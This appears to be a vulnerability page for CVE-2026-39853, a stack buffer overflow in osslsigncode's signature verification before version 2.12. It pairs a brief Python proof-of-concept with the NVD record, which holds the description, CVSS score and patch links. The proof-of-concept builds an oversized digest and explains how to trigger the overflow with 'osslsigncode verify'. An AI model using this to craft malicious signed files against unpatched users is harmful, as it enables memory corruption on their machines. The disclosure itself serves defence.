CVE-2026-39853

import sys # Conceptual PoC for CVE-2026-39853 # This script demonstrates the logic to create a malformed structure. # Exploitation requires crafting a PE/MSI/CAB file with a specific PKCS#7 signature. def create_malicious_digest(): # EVP_MAX_MD_SIZE is 64 bytes. Creating a digest larger than this triggers the overflow. overflow_size = 100 malicious_digest = b"A" * overflow_size return malicious_digest if __name__ == "__main__": payload = create_malicious_digest() print(f"[*] Generated payload size: {len(payload)} bytes") print("[*] To trigger the vulnerability, embed this payload in the SpcIndirectDataContent digest field of a signed file.") print("[*] Trigger command: osslsigncode verify malicious_file.signed")

{"cve": {"id": "CVE-2026-39853", "sourceIdentifier": "[email protected]", "published": "2026-04-09T16:16:31.233", "lastModified": "2026-04-17T20:03:45.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "osslsigncode is a tool that implements Authenticode signing and timestamping. Prior to 2.12, A stack buffer overflow vulnerability exists in osslsigncode in several signature verification paths. During verification of a PKCS#7 signature, the code copies the digest value from a parsed SpcIndirectDataContent structure into a fixed-size stack buffer (mdbuf[EVP_MAX_MD_SIZE], 64 bytes) without validating that the source length fits within the destination buffer. This pattern is present in the verification handlers for PE, MSI, CAB, and script files. An attacker can craft a malicious signed file with an oversized digest field in SpcIndirectDataContent. When a user verifies such a file with osslsigncode verify, the unbounded memcpy can overflow the stack buffer and corrupt adjacent stack state. This vulnerability is fixed in 2.12."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:osslsigncode_project:osslsigncode:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.12", "matchCriteriaId": "99F63D36-1A36-4A6E-A2A3-02B68D5BA069"}]}]}], "references": [{"url": "https://github.com/mtrojnar/osslsigncode/commit/cbee1e723c5a8547302bd841ad9943ed8144db68", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/mtrojnar/osslsigncode/releases/tag/2.12", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/mtrojnar/osslsigncode/security/advisories/GHSA-hx87-8754-xvh4", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}